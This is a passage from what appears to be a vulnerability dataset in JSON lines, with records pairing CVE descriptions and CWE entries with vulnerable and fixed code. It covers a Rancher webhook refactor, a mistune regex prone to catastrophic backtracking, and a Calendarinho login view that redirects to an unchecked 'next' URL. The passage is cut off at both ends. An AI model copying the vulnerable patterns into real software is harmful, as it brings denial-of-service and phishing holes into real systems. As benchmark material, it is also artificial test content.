&tls.Config{}\n\ttlsOpt(tlsConfig)\n\n\treturn server.ListenAndServe(ctx, webhookHTTPSPort, webhookHTTPPort, router, &server.ListenOpts{\n\t\tSecrets:       clients.Core.Secret(),\n\t\tCertNamespace: namespace,\n\t\tCertName:      certName,\n\t\tCAName:        caName,\n\t\tTLSListenerConfig: dynamiclistener.Config{\n\t\t\tSANs: []string{\n\t\t\t\ttlsName,\n\t\t\t},\n\t\t\tFilterCN:  dynamiclistener.OnlyAllow(tlsName),\n\t\t\tTLSConfig: tlsConfig,\n\t\t},\n\t})\n}"}, {"id": "vul_go_188_2", "commit": "ad1d2b8", "file_path": "pkg/server/server.go", "start_line": 163, "end_line": 226, "snippet": "func updateWebhookConfigs(applier apply.Apply, applyErrChecker *health.ErrorChecker, validators []admission.ValidatingAdmissionHandler, mutators []admission.MutatingAdmissionHandler) func(key string, secret *corev1.Secret) (*corev1.Secret, error) {\n\treturn func(key string, secret *corev1.Secret) (*corev1.Secret, error) {\n\t\tif secret == nil || secret.Name != caName || secret.Namespace != namespace || len(secret.Data[corev1.TLSCertKey]) == 0 {\n\t\t\treturn nil, nil\n\t\t}\n\n\t\tlogrus.Info(\"Sleeping for 15 seconds then applying webhook config\")\n\t\t// Sleep here to make sure server is listening and all caches are primed\n\t\ttime.Sleep(15 * time.Second)\n\n\t\tvalidationClientConfig := v1.WebhookClientConfig{\n\t\t\tService: &v1.ServiceReference{\n\t\t\t\tNamespace: namespace,\n\t\t\t\tName:      serviceName,\n\t\t\t\tPath:      &validationPath,\n\t\t\t\tPort:      &clientPort,\n\t\t\t},\n\t\t\tCABundle: secret.Data[corev1.TLSCertKey],\n\t\t}\n\n\t\tmutationClientConfig := v1.WebhookClientConfig{\n\t\t\tService: &v1.ServiceReference{\n\t\t\t\tNamespace: namespace,\n\t\t\t\tName:      serviceName,\n\t\t\t\tPath:      &mutationPath,\n\t\t\t\tPort:      &clientPort,\n\t\t\t},\n\t\t\tCABundle: secret.Data[corev1.TLSCertKey],\n\t\t}\n\t\tif devURL, ok := os.LookupEnv(\"CATTLE_WEBHOOK_URL\"); ok {\n\t\t\tvalidationURL := devURL + validationPath\n\t\t\tmutationURL := devURL + mutationPath\n\t\t\tvalidationClientConfig = v1.WebhookClientConfig{\n\t\t\t\tURL: &validationURL,\n\t\t\t}\n\t\t\tmutationClientConfig = v1.WebhookClientConfig{\n\t\t\t\tURL: &mutationURL,\n\t\t\t}\n\t\t}\n\t\tvalidatingWebhooks := make([]v1.ValidatingWebhook, 0, len(validators))\n\t\tfor _, webhook := range validators {\n\t\t\tvalidatingWebhooks = append(validatingWebhooks, webhook.ValidatingWebhook(validationClientConfig)...)\n\t\t}\n\t\tmutatingWebhooks := make([]v1.MutatingWebhook, 0, len(mutators))\n\t\tfor _, webhook := range mutators {\n\t\t\tmutatingWebhooks = append(mutatingWebhooks, webhook.MutatingWebhook(mutationClientConfig)...)\n\t\t}\n\t\tapplyErr := applier.WithOwner(secret).ApplyObjects(\n\t\t\t&v1.ValidatingWebhookConfiguration{\n\t\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\t\tName: \"rancher.cattle.io\",\n\t\t\t\t},\n\t\t\t\tWebhooks: validatingWebhooks,\n\t\t\t}, &v1.MutatingWebhookConfiguration{\n\t\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\t\tName: \"rancher.cattle.io\",\n\t\t\t\t},\n\t\t\t\tWebhooks: mutatingWebhooks,\n\t\t\t})\n\n\t\tapplyErrChecker.Store(applyErr)\n\t\treturn secret, applyErr\n\t}\n}"}], "fix_func": [{"id": "fix_go_188_1", "commit": "a4a4986", "file_path": "pkg/server/server.go", "start_line": 118, "end_line": 167, "snippet": "func listenAndServe(ctx context.Context, clients *clients.Clients, validators []admission.ValidatingAdmissionHandler, mutators []admission.MutatingAdmissionHandler) (rErr error) {\n\trouter := mux.NewRouter()\n\terrChecker := health.NewErrorChecker(\"Config Applied\")\n\thealth.RegisterHealthCheckers(router, errChecker)\n\n\tlogrus.Debug(\"Creating Webhook routes\")\n\tfor _, webhook := range validators {\n\t\troute := router.HandleFunc(admission.Path(validationPath, webhook), admission.NewHandlerFunc(webhook))\n\t\tpath, _ := route.GetPathTemplate()\n\t\tlogrus.Debugf(\"creating route: %s\", path)\n\t}\n\tfor _, webhook := range mutators {\n\t\troute := router.HandleFunc(admission.Path(mutationPath, webhook), admission.NewHandlerFunc(webhook))\n\t\tpath, _ := route.GetPathTemplate()\n\t\tlogrus.Debugf(\"creating route: %s\", path)\n\t}\n\n\thandler := &secretHandler{\n\t\tvalidators:           validators,\n\t\tmutators:             mutators,\n\t\terrChecker:           errChecker,\n\t\tvalidatingController: clients.Admission.ValidatingWebhookConfiguration(),\n\t\tmutatingController:   clients.Admission.MutatingWebhookConfiguration(),\n\t}\n\tclients.Core.Secret().OnChange(ctx, \"secrets\", handler.sync)\n\n\tdefer func() {\n\t\tif rErr != nil {\n\t\t\treturn\n\t\t}\n\t\trErr = clients.Start(ctx)\n\t}()\n\n\ttlsConfig := &tls.Config{}\n\ttlsOpt(tlsConfig)\n\n\treturn server.ListenAndServe(ctx, webhookHTTPSPort, webhookHTTPPort, router, &server.ListenOpts{\n\t\tSecrets:       clients.Core.Secret(),\n\t\tCertNamespace: namespace,\n\t\tCertName:      certName,\n\t\tCAName:        caName,\n\t\tTLSListenerConfig: dynamiclistener.Config{\n\t\t\tSANs: []string{\n\t\t\t\ttlsName,\n\t\t\t},\n\t\t\tFilterCN:  dynamiclistener.OnlyAllow(tlsName),\n\t\t\tTLSConfig: tlsConfig,\n\t\t},\n\t})\n}"}, {"id": "fix_go_188_2", "commit": "a4a4986", "file_path": "pkg/server/server.go", "start_line": 169, "end_line": 279, "snippet": "type secretHandler struct {\n\tvalidators           []admission.ValidatingAdmissionHandler\n\tmutators             []admission.MutatingAdmissionHandler\n\terrChecker           *health.ErrorChecker\n\tvalidatingController admissionregistration.ValidatingWebhookConfigurationClient\n\tmutatingController   admissionregistration.MutatingWebhookConfigurationClient\n}\n\n// sync updates the validating admission configuration whenever the TLS cert changes.\nfunc (s *secretHandler) sync(key string, secret *corev1.Secret) (*corev1.Secret, error) {\n\tif secret == nil || secret.Name != caName || secret.Namespace != namespace || len(secret.Data[corev1.TLSCertKey]) == 0 {\n\t\treturn nil, nil\n\t}\n\n\tlogrus.Info(\"Sleeping for 15 seconds then applying webhook config\")\n\t// Sleep here to make sure server is listening and all caches are primed\n\ttime.Sleep(15 * time.Second)\n\n\tvalidationClientConfig := v1.WebhookClientConfig{\n\t\tService: &v1.ServiceReference{\n\t\t\tNamespace: namespace,\n\t\t\tName:      serviceName,\n\t\t\tPath:      &validationPath,\n\t\t\tPort:      &clientPort,\n\t\t},\n\t\tCABundle: secret.Data[corev1.TLSCertKey],\n\t}\n\n\tmutationClientConfig := v1.WebhookClientConfig{\n\t\tService: &v1.ServiceReference{\n\t\t\tNamespace: namespace,\n\t\t\tName:      serviceName,\n\t\t\tPath:      &mutationPath,\n\t\t\tPort:      &clientPort,\n\t\t},\n\t\tCABundle: secret.Data[corev1.TLSCertKey],\n\t}\n\tif devURL, ok := os.LookupEnv(\"CATTLE_WEBHOOK_URL\"); ok {\n\t\tvalidationURL := devURL + validationPath\n\t\tmutationURL := devURL + mutationPath\n\t\tvalidationClientConfig = v1.WebhookClientConfig{\n\t\t\tURL: &validationURL,\n\t\t}\n\t\tmutationClientConfig = v1.WebhookClientConfig{\n\t\t\tURL: &mutationURL,\n\t\t}\n\t}\n\tvalidatingWebhooks := make([]v1.ValidatingWebhook, 0, len(s.validators))\n\tfor _, webhook := range s.validators {\n\t\tvalidatingWebhooks = append(validatingWebhooks, webhook.ValidatingWebhook(validationClientConfig)...)\n\t}\n\tmutatingWebhooks := make([]v1.MutatingWebhook, 0, len(s.mutators))\n\tfor _, webhook := range s.mutators {\n\t\tmutatingWebhooks = append(mutatingWebhooks, webhook.MutatingWebhook(mutationClientConfig)...)\n\t}\n\tvalidatingConfig := &v1.ValidatingWebhookConfiguration{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: \"rancher.cattle.io\",\n\t\t},\n\t\tWebhooks: validatingWebhooks,\n\t}\n\tmutatingConfig := &v1.MutatingWebhookConfiguration{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: \"rancher.cattle.io\",\n\t\t},\n\t\tWebhooks: mutatingWebhooks,\n\t}\n\terr := s.ensureWebhookConfiguration(validatingConfig, mutatingConfig)\n\n\ts.errChecker.Store(err)\n\treturn secret, err\n\n}\n\n// ensureWebhookConfiguration creates or updates the current validating and mutating webhook configuration to have the desired webhook.\nfunc (s *secretHandler) ensureWebhookConfiguration(validatingConfig *v1.ValidatingWebhookConfiguration, mutatingConfig *v1.MutatingWebhookConfiguration) error {\n\n\tcurrValidating, err := s.validatingController.Get(validatingConfig.Name, metav1.GetOptions{})\n\tif apierrors.IsNotFound(err) {\n\t\t_, err = s.validatingController.Create(validatingConfig)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"failed to create validating configuration: %w\", err)\n\t\t}\n\t} else if err != nil {\n\t\treturn fmt.Errorf(\"failed to get validating configuration: %w\", err)\n\t} else {\n\t\tcurrValidating.Webhooks = validatingConfig.Webhooks\n\t\t_, err = s.validatingController.Update(currValidating)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"failed to update validating configuration: %w\", err)\n\t\t}\n\t}\n\n\tcurrMutation, err := s.mutatingController.Get(validatingConfig.Name, metav1.GetOptions{})\n\tif apierrors.IsNotFound(err) {\n\t\t_, err = s.mutatingController.Create(currMutation)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"failed to create mutating configuration: %w\", err)\n\t\t}\n\t} else if err != nil {\n\t\treturn fmt.Errorf(\"failed to get mutating configuration: %w\", err)\n\t} else {\n\t\tcurrMutation.Webhooks = mutatingConfig.Webhooks\n\t\t_, err = s.mutatingController.Update(currMutation)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"failed to update mutating configuration: %w\", err)\n\t\t}\n\t}\n\n\treturn nil\n}"}], "vul_patch": "--- a/pkg/server/server.go\n+++ b/pkg/server/server.go\n@@ -1,7 +1,7 @@\n func listenAndServe(ctx context.Context, clients *clients.Clients, validators []admission.ValidatingAdmissionHandler, mutators []admission.MutatingAdmissionHandler) (rErr error) {\n \trouter := mux.NewRouter()\n-\tapplyErrChecker := health.NewErrorChecker(\"Config Applied\")\n-\thealth.RegisterHealthCheckers(router, applyErrChecker)\n+\terrChecker := health.NewErrorChecker(\"Config Applied\")\n+\thealth.RegisterHealthCheckers(router, errChecker)\n \n \tlogrus.Debug(\"Creating Webhook routes\")\n \tfor _, webhook := range validators {\n@@ -15,9 +15,14 @@\n \t\tlogrus.Debugf(\"creating route: %s\", path)\n \t}\n \n-\tapply := clients.Apply.WithDynamicLookup()\n-\n-\tclients.Core.Secret().OnChange(ctx, \"secrets\", updateWebhookConfigs(apply, applyErrChecker, validators, mutators))\n+\thandler := &secretHandler{\n+\t\tvalidators:           validators,\n+\t\tmutators:             mutators,\n+\t\terrChecker:           errChecker,\n+\t\tvalidatingController: clients.Admission.ValidatingWebhookConfiguration(),\n+\t\tmutatingController:   clients.Admission.MutatingWebhookConfiguration(),\n+\t}\n+\tclients.Core.Secret().OnChange(ctx, \"secrets\", handler.sync)\n \n \tdefer func() {\n \t\tif rErr != nil {\n\n--- a/pkg/server/server.go\n+++ b/pkg/server/server.go\n@@ -1,64 +1,111 @@\n-func updateWebhookConfigs(applier apply.Apply, applyErrChecker *health.ErrorChecker, validators []admission.ValidatingAdmissionHandler, mutators []admission.MutatingAdmissionHandler) func(key string, secret *corev1.Secret) (*corev1.Secret, error) {\n-\treturn func(key string, secret *corev1.Secret) (*corev1.Secret, error) {\n-\t\tif secret == nil || secret.Name != caName || secret.Namespace != namespace || len(secret.Data[corev1.TLSCertKey]) == 0 {\n-\t\t\treturn nil, nil\n+type secretHandler struct {\n+\tvalidators           []admission.ValidatingAdmissionHandler\n+\tmutators             []admission.MutatingAdmissionHandler\n+\terrChecker           *health.ErrorChecker\n+\tvalidatingController admissionregistration.ValidatingWebhookConfigurationClient\n+\tmutatingController   admissionregistration.MutatingWebhookConfigurationClient\n+}\n+\n+// sync updates the validating admission configuration whenever the TLS cert changes.\n+func (s *secretHandler) sync(key string, secret *corev1.Secret) (*corev1.Secret, error) {\n+\tif secret == nil || secret.Name != caName || secret.Namespace != namespace || len(secret.Data[corev1.TLSCertKey]) == 0 {\n+\t\treturn nil, nil\n+\t}\n+\n+\tlogrus.Info(\"Sleeping for 15 seconds then applying webhook config\")\n+\t// Sleep here to make sure server is listening and all caches are primed\n+\ttime.Sleep(15 * time.Second)\n+\n+\tvalidationClientConfig := v1.WebhookClientConfig{\n+\t\tService: &v1.ServiceReference{\n+\t\t\tNamespace: namespace,\n+\t\t\tName:      serviceName,\n+\t\t\tPath:      &validationPath,\n+\t\t\tPort:      &clientPort,\n+\t\t},\n+\t\tCABundle: secret.Data[corev1.TLSCertKey],\n+\t}\n+\n+\tmutationClientConfig := v1.WebhookClientConfig{\n+\t\tService: &v1.ServiceReference{\n+\t\t\tNamespace: namespace,\n+\t\t\tName:      serviceName,\n+\t\t\tPath:      &mutationPath,\n+\t\t\tPort:      &clientPort,\n+\t\t},\n+\t\tCABundle: secret.Data[corev1.TLSCertKey],\n+\t}\n+\tif devURL, ok := os.LookupEnv(\"CATTLE_WEBHOOK_URL\"); ok {\n+\t\tvalidationURL := devURL + validationPath\n+\t\tmutationURL := devURL + mutationPath\n+\t\tvalidationClientConfig = v1.WebhookClientConfig{\n+\t\t\tURL: &validationURL,\n \t\t}\n+\t\tmutationClientConfig = v1.WebhookClientConfig{\n+\t\t\tURL: &mutationURL,\n+\t\t}\n+\t}\n+\tvalidatingWebhooks := make([]v1.ValidatingWebhook, 0, len(s.validators))\n+\tfor _, webhook := range s.validators {\n+\t\tvalidatingWebhooks = append(validatingWebhooks, webhook.ValidatingWebhook(validationClientConfig)...)\n+\t}\n+\tmutatingWebhooks := make([]v1.MutatingWebhook, 0, len(s.mutators))\n+\tfor _, webhook := range s.mutators {\n+\t\tmutatingWebhooks = append(mutatingWebhooks, webhook.MutatingWebhook(mutationClientConfig)...)\n+\t}\n+\tvalidatingConfig := &v1.ValidatingWebhookConfiguration{\n+\t\tObjectMeta: metav1.ObjectMeta{\n+\t\t\tName: \"rancher.cattle.io\",\n+\t\t},\n+\t\tWebhooks: validatingWebhooks,\n+\t}\n+\tmutatingConfig := &v1.MutatingWebhookConfiguration{\n+\t\tObjectMeta: metav1.ObjectMeta{\n+\t\t\tName: \"rancher.cattle.io\",\n+\t\t},\n+\t\tWebhooks: mutatingWebhooks,\n+\t}\n+\terr := s.ensureWebhookConfiguration(validatingConfig, mutatingConfig)\n \n-\t\tlogrus.Info(\"Sleeping for 15 seconds then applying webhook config\")\n-\t\t// Sleep here to make sure server is listening and all caches are primed\n-\t\ttime.Sleep(15 * time.Second)\n+\ts.errChecker.Store(err)\n+\treturn secret, err\n \n-\t\tvalidationClientConfig := v1.WebhookClientConfig{\n-\t\t\tService: &v1.ServiceReference{\n-\t\t\t\tNamespace: namespace,\n-\t\t\t\tName:      serviceName,\n-\t\t\t\tPath:      &validationPath,\n-\t\t\t\tPort:      &clientPort,\n-\t\t\t},\n-\t\t\tCABundle: secret.Data[corev1.TLSCertKey],\n+}\n+\n+// ensureWebhookConfiguration creates or updates the current validating and mutating webhook configuration to have the desired webhook.\n+func (s *secretHandler) ensureWebhookConfiguration(validatingConfig *v1.ValidatingWebhookConfiguration, mutatingConfig *v1.MutatingWebhookConfiguration) error {\n+\n+\tcurrValidating, err := s.validatingController.Get(validatingConfig.Name, metav1.GetOptions{})\n+\tif apierrors.IsNotFound(err) {\n+\t\t_, err = s.validatingController.Create(validatingConfig)\n+\t\tif err != nil {\n+\t\t\treturn fmt.Errorf(\"failed to create validating configuration: %w\", err)\n \t\t}\n+\t} else if err != nil {\n+\t\treturn fmt.Errorf(\"failed to get validating configuration: %w\", err)\n+\t} else {\n+\t\tcurrValidating.Webhooks = validatingConfig.Webhooks\n+\t\t_, err = s.validatingController.Update(currValidating)\n+\t\tif err != nil {\n+\t\t\treturn fmt.Errorf(\"failed to update validating configuration: %w\", err)\n+\t\t}\n+\t}\n \n-\t\tmutationClientConfig := v1.WebhookClientConfig{\n-\t\t\tService: &v1.ServiceReference{\n-\t\t\t\tNamespace: namespace,\n-\t\t\t\tName:      serviceName,\n-\t\t\t\tPath:      &mutationPath,\n-\t\t\t\tPort:      &clientPort,\n-\t\t\t},\n-\t\t\tCABundle: secret.Data[corev1.TLSCertKey],\n+\tcurrMutation, err := s.mutatingController.Get(validatingConfig.Name, metav1.GetOptions{})\n+\tif apierrors.IsNotFound(err) {\n+\t\t_, err = s.mutatingController.Create(currMutation)\n+\t\tif err != nil {\n+\t\t\treturn fmt.Errorf(\"failed to create mutating configuration: %w\", err)\n \t\t}\n-\t\tif devURL, ok := os.LookupEnv(\"CATTLE_WEBHOOK_URL\"); ok {\n-\t\t\tvalidationURL := devURL + validationPath\n-\t\t\tmutationURL := devURL + mutationPath\n-\t\t\tvalidationClientConfig = v1.WebhookClientConfig{\n-\t\t\t\tURL: &validationURL,\n-\t\t\t}\n-\t\t\tmutationClientConfig = v1.WebhookClientConfig{\n-\t\t\t\tURL: &mutationURL,\n-\t\t\t}\n+\t} else if err != nil {\n+\t\treturn fmt.Errorf(\"failed to get mutating configuration: %w\", err)\n+\t} else {\n+\t\tcurrMutation.Webhooks = mutatingConfig.Webhooks\n+\t\t_, err = s.mutatingController.Update(currMutation)\n+\t\tif err != nil {\n+\t\t\treturn fmt.Errorf(\"failed to update mutating configuration: %w\", err)\n \t\t}\n-\t\tvalidatingWebhooks := make([]v1.ValidatingWebhook, 0, len(validators))\n-\t\tfor _, webhook := range validators {\n-\t\t\tvalidatingWebhooks = append(validatingWebhooks, webhook.ValidatingWebhook(validationClientConfig)...)\n-\t\t}\n-\t\tmutatingWebhooks := make([]v1.MutatingWebhook, 0, len(mutators))\n-\t\tfor _, webhook := range mutators {\n-\t\t\tmutatingWebhooks = append(mutatingWebhooks, webhook.MutatingWebhook(mutationClientConfig)...)\n-\t\t}\n-\t\tapplyErr := applier.WithOwner(secret).ApplyObjects(\n-\t\t\t&v1.ValidatingWebhookConfiguration{\n-\t\t\t\tObjectMeta: metav1.ObjectMeta{\n-\t\t\t\t\tName: \"rancher.cattle.io\",\n-\t\t\t\t},\n-\t\t\t\tWebhooks: validatingWebhooks,\n-\t\t\t}, &v1.MutatingWebhookConfiguration{\n-\t\t\t\tObjectMeta: metav1.ObjectMeta{\n-\t\t\t\t\tName: \"rancher.cattle.io\",\n-\t\t\t\t},\n-\t\t\t\tWebhooks: mutatingWebhooks,\n-\t\t\t})\n+\t}\n \n-\t\tapplyErrChecker.Store(applyErr)\n-\t\treturn secret, applyErr\n-\t}\n+\treturn nil\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-34749", "cve_description": "In mistune through 2.0.2, support of inline markup is implemented by using regular expressions that can involve a high amount of backtracking on certain edge cases. This behavior is commonly named catastrophic backtracking.", "cwe_info": {"CWE-1333": {"name": "Inefficient Regular Expression Complexity", "description": "The product uses a regular expression with an inefficient, possibly exponential worst-case computational complexity that consumes excessive CPU cycles."}}, "repo": "https://github.com/lepture/mistune", "patch_url": ["https://github.com/lepture/mistune/commit/a6d43215132fe4f3d93f8d7e90ba83b16a0838b2"], "programing_language": "Python", "vul_func": [{"id": "vul_py_416_1", "commit": "5638e46", "file_path": "mistune/inline_parser.py", "start_line": 15, "end_line": 100, "snippet": "class InlineParser(ScannerParser):\n    ESCAPE = ESCAPE_TEXT\n\n    #: link or email syntax::\n    #:\n    #: <https://example.com>\n    AUTO_LINK = (\n        r'(?<!\\\\)(?:\\\\\\\\)*<([A-Za-z][A-Za-z0-9+.-]{1,31}:'\n        r\"[^ <>]*?|[A-Za-z0-9.!#$%&'*+/=?^_`{|}~-]+@[A-Za-z0-9]\"\n        r'(?:[A-Za-z0-9-]{0,61}[A-Za-z0-9])?'\n        r'(?:\\.[A-Za-z0-9](?:[A-Za-z0-9-]{0,61}[A-Za-z0-9])?)*)>'\n    )\n\n    #: link or image syntax::\n    #:\n    #: [text](/link \"title\")\n    #: ![alt](/src \"title\")\n    STD_LINK = (\n        r'!?\\[(' + LINK_TEXT + r')\\]\\(\\s*'\n\n        r'(<(?:\\\\[<>]?|[^\\s<>\\\\])*>|'\n        r'(?:\\\\[()]?|\\([^\\s\\x00-\\x1f\\\\]*\\)|[^\\s\\x00-\\x1f()\\\\])*?)'\n\n        r'(?:\\s+('\n        r'''\"(?:\\\\\"?|[^\"\\\\])*\"|'(?:\\\\'?|[^'\\\\])*'|\\((?:\\\\\\)?|[^)\\\\])*\\)'''\n        r'))?\\s*\\)'\n    )\n\n    #: Get link from references. References are defined in DEF_LINK in blocks.\n    #: The syntax looks like::\n    #:\n    #:    [an example][id]\n    #:\n    #:    [id]: https://example.com \"optional title\"\n    REF_LINK = (\n        r'!?\\[(' + LINK_TEXT + r')\\]'\n        r'\\[(' + LINK_LABEL + r')\\]'\n    )\n\n    #: Simple form of reference link::\n    #:\n    #:    [an example]\n    #:\n    #:    [an example]: https://example.com \"optional title\"\n    REF_LINK2 = r'!?\\[(' + LINK_LABEL + r')\\]'\n\n    #: emphasis and strong * or _::\n    #:\n    #:    *emphasis*  **strong**\n    #:    _emphasis_  __strong__\n    ASTERISK_EMPHASIS = (\n        r'(\\*{1,2})(?=[^\\s*])('\n        r'(?:\\\\[\\\\*]|[^*])*'\n        r'(?:' + ESCAPE_TEXT + r'|[^\\s*]))\\1'\n    )\n    UNDERSCORE_EMPHASIS = (\n        r'\\b(_{1,2})(?=[^\\s_])([\\s\\S]*?'\n        r'(?:' + ESCAPE_TEXT + r'|[^\\s_]))\\1'\n        r'(?!_|[^\\s' + PUNCTUATION + r'])\\b'\n    )\n\n    #: codespan with `::\n    #:\n    #:    `code`\n    CODESPAN = (\n        r'(?<!\\\\|`)(?:\\\\\\\\)*(`+)(?!`)([\\s\\S]+?)(?<!`)\\1(?!`)'\n    )\n\n    #: linebreak leaves two spaces at the end of line\n    LINEBREAK = r'(?:\\\\| {2,})\\n(?!\\s*$)'\n\n    INLINE_HTML = (\n        r'(?<!\\\\)<' + HTML_TAGNAME + HTML_ATTRIBUTES + r'\\s*/?>|'  # open tag\n        r'(?<!\\\\)</' + HTML_TAGNAME + r'\\s*>|'  # close tag\n        r'(?<!\\\\)<!--(?!>|->)(?:(?!--)[\\s\\S])+?(?<!-)-->|'  # comment\n        r'(?<!\\\\)<\\?[\\s\\S]+?\\?>|'\n        r'(?<!\\\\)<![A-Z][\\s\\S]+?>|'  # doctype\n        r'(?<!\\\\)<!\\[CDATA[\\s\\S]+?\\]\\]>'  # cdata\n    )\n\n    RULE_NAMES = (\n        'escape', 'inline_html', 'auto_link',\n        'std_link', 'ref_link', 'ref_link2',\n        'asterisk_emphasis', 'underscore_emphasis',\n        'codespan', 'linebreak',\n    )"}], "fix_func": [{"id": "fix_py_416_1", "commit": "a6d43215132fe4f3d93f8d7e90ba83b16a0838b2", "file_path": "mistune/inline_parser.py", "start_line": 15, "end_line": 100, "snippet": "class InlineParser(ScannerParser):\n    ESCAPE = ESCAPE_TEXT\n\n    #: link or email syntax::\n    #:\n    #: <https://example.com>\n    AUTO_LINK = (\n        r'(?<!\\\\)(?:\\\\\\\\)*<([A-Za-z][A-Za-z0-9+.-]{1,31}:'\n        r\"[^ <>]*?|[A-Za-z0-9.!#$%&'*+/=?^_`{|}~-]+@[A-Za-z0-9]\"\n        r'(?:[A-Za-z0-9-]{0,61}[A-Za-z0-9])?'\n        r'(?:\\.[A-Za-z0-9](?:[A-Za-z0-9-]{0,61}[A-Za-z0-9])?)*)>'\n    )\n\n    #: link or image syntax::\n    #:\n    #: [text](/link \"title\")\n    #: ![alt](/src \"title\")\n    STD_LINK = (\n        r'!?\\[(' + LINK_TEXT + r')\\]\\(\\s*'\n\n        r'(<(?:\\\\[<>]?|[^\\s<>\\\\])*>|'\n        r'(?:\\\\[()]?|\\([^\\s\\x00-\\x1f\\\\]*\\)|[^\\s\\x00-\\x1f()\\\\])*?)'\n\n        r'(?:\\s+('\n        r'''\"(?:\\\\\"?|[^\"\\\\])*\"|'(?:\\\\'?|[^'\\\\])*'|\\((?:\\\\\\)?|[^)\\\\])*\\)'''\n        r'))?\\s*\\)'\n    )\n\n    #: Get link from references. References are defined in DEF_LINK in blocks.\n    #: The syntax looks like::\n    #:\n    #:    [an example][id]\n    #:\n    #:    [id]: https://example.com \"optional title\"\n    REF_LINK = (\n        r'!?\\[(' + LINK_TEXT + r')\\]'\n        r'\\[(' + LINK_LABEL + r')\\]'\n    )\n\n    #: Simple form of reference link::\n    #:\n    #:    [an example]\n    #:\n    #:    [an example]: https://example.com \"optional title\"\n    REF_LINK2 = r'!?\\[(' + LINK_LABEL + r')\\]'\n\n    #: emphasis and strong * or _::\n    #:\n    #:    *emphasis*  **strong**\n    #:    _emphasis_  __strong__\n    ASTERISK_EMPHASIS = (\n        r'(\\*{1,2})(?=[^\\s*])('\n        r'(?:(?:(?<!\\\\)(?:\\\\\\\\)*\\*)|[^*])+'\n        r')(?<!\\\\)\\1'\n    )\n    UNDERSCORE_EMPHASIS = (\n        r'\\b(_{1,2})(?=[^\\s_])([\\s\\S]*?'\n        r'(?:' + ESCAPE_TEXT + r'|[^\\s_]))\\1'\n        r'(?!_|[^\\s' + PUNCTUATION + r'])\\b'\n    )\n\n    #: codespan with `::\n    #:\n    #:    `code`\n    CODESPAN = (\n        r'(?<!\\\\|`)(?:\\\\\\\\)*(`+)(?!`)([\\s\\S]+?)(?<!`)\\1(?!`)'\n    )\n\n    #: linebreak leaves two spaces at the end of line\n    LINEBREAK = r'(?:\\\\| {2,})\\n(?!\\s*$)'\n\n    INLINE_HTML = (\n        r'(?<!\\\\)<' + HTML_TAGNAME + HTML_ATTRIBUTES + r'\\s*/?>|'  # open tag\n        r'(?<!\\\\)</' + HTML_TAGNAME + r'\\s*>|'  # close tag\n        r'(?<!\\\\)<!--(?!>|->)(?:(?!--)[\\s\\S])+?(?<!-)-->|'  # comment\n        r'(?<!\\\\)<\\?[\\s\\S]+?\\?>|'\n        r'(?<!\\\\)<![A-Z][\\s\\S]+?>|'  # doctype\n        r'(?<!\\\\)<!\\[CDATA[\\s\\S]+?\\]\\]>'  # cdata\n    )\n\n    RULE_NAMES = (\n        'escape', 'inline_html', 'auto_link',\n        'std_link', 'ref_link', 'ref_link2',\n        'asterisk_emphasis', 'underscore_emphasis',\n        'codespan', 'linebreak',\n    )"}], "vul_patch": "--- a/mistune/inline_parser.py\n+++ b/mistune/inline_parser.py\n@@ -50,8 +50,8 @@\n     #:    _emphasis_  __strong__\n     ASTERISK_EMPHASIS = (\n         r'(\\*{1,2})(?=[^\\s*])('\n-        r'(?:\\\\[\\\\*]|[^*])*'\n-        r'(?:' + ESCAPE_TEXT + r'|[^\\s*]))\\1'\n+        r'(?:(?:(?<!\\\\)(?:\\\\\\\\)*\\*)|[^*])+'\n+        r')(?<!\\\\)\\1'\n     )\n     UNDERSCORE_EMPHASIS = (\n         r'\\b(_{1,2})(?=[^\\s_])([\\s\\S]*?'\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-49281", "cve_description": "Calendarinho is an open source calendaring application to manage large teams of consultants. An Open Redirect issue occurs when a web application redirects users to external URLs without proper validation. This can lead to phishing attacks, where users are tricked into visiting malicious sites, potentially leading to information theft and reputational damage to the website used for redirection. The problem is has been patched in commit `15b2393`. Users are advised to update to a commit after `15b2393`. There are no known workarounds for this vulnerability. ", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/Cainor/Calendarinho", "patch_url": ["https://github.com/Cainor/Calendarinho/commit/9a0174bef939565a76cbe7762996ecddca9ba55e"], "programing_language": "Python", "vul_func": [{"id": "vul_py_117_1", "commit": "9ce3456", "file_path": "CalendarinhoApp/authentication.py", "start_line": 24, "end_line": 48, "snippet": "def loginForm(request, next=''):\n    # if this is a POST request we need to process the form data\n    if request.method == 'POST':\n        # create a form instance and populate it with data from the request:\n        form = Login_Form(request.POST)\n        # check whether it's valid:\n        if form.is_valid():\n            username = request.POST.get('username')\n            password = request.POST.get('password')\n            user = user = authenticate(username=username, password=password)\n            if user and user.is_active:\n                login(request, user)\n                if 'next' in request.POST:\n                    return HttpResponseRedirect(request.POST.get('next'))\n                else:\n                    return HttpResponseRedirect(reverse('CalendarinhoApp:Dashboard'))\n            else:\n                messages.error(request, \"Invalid login details given\")\n                form = Login_Form()\n                return render(request, 'CalendarinhoApp/login.html', {'form': form})\n\n    # if a GET (or any other method) we'll create a blank form\n    else:\n        form = Login_Form()\n        return render(request, 'CalendarinhoApp/login.html', {'form': form})"}], "fix_func": [{"id": "fix_py_117_1", "commit": "9a0174b", "file_path": "CalendarinhoApp/authentication.py", "start_line": 24, "end_line": 49, "snippet": "def loginForm(request, next=''):\n    # if this is a POST request we need to process the form data\n    if request.method == 'POST':\n        # create a form instance and populate it with data from the request:\n        form = Login_Form(request.POST)\n        # check whether it's valid:\n        if form.is_valid():\n            username = request.POST.get('username')\n            password = request.POST.get('password')\n            user = user = authenticate(username=username, password=password)\n            if user and user.is_active:\n                login(request, user)\n                next_url = request.POST.get('next', '')\n                if next_url and next_url.startswith('/'):\n                    return HttpResponseRedirect(next_url)\n                else:\n                    return 